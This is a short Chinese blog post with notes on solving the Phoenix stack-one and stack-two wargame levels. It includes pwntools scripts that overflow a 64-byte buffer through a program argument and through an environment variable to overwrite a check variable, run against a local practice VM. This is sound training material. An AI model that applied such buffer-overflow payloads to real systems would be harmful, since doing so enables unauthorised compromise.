# [pwn笔记1]stack-one和stack-two (Phoenix)

By [BuringStraw](https://paragraph.com/@buringstraw) · 2023-03-24

---

这两道非常简单，而且只有数据读入方式的区别。跟zero一样，只是对覆盖的数据有要求。

### Unsupported embedstack-one

将程序第一个参数`strcpy`到字符串。

notion image

在gdb中run后面直接接参数即可带上参数。

pwntools的sh.run可以接收字节数组作为参数，里面可包含启动参数。（看了下文档，对于run方法：Backward compatibility. Use [system()](https://docs.pwntools.com/en/stable/tubes/ssh.html?highlight=ssh#pwnlib.tubes.ssh.ssh.system) ）

    from pwn import *
    shell = ssh("user", "localhost", password="user", port=2222)
    
    s = b"a" * 0x40 + p32(0x496c5962)
    
    sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
    print(sh.recvlines(2))
    

### Unsupported embedstack-two

这次是写到环境变量里。

notion image

做到这里发现环境变量里写"\\0"进去会出问题，我们要求写入的是32位数据，不应该用p64，用了就会自动补0，然后报错。

    from pwn import *
    shell = ssh("user", "localhost", password="user", port=2222)
    
    s = b"a" * 0x40 + p32(0x0d0a090a)
    print(s)
    s = s.decode()
    print(s)
    sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
    print(sh.recvlines(2))

---

*Originally published on [BuringStraw](https://paragraph.com/@buringstraw/pwn-1-stack-one-stack-two-phoenix)*
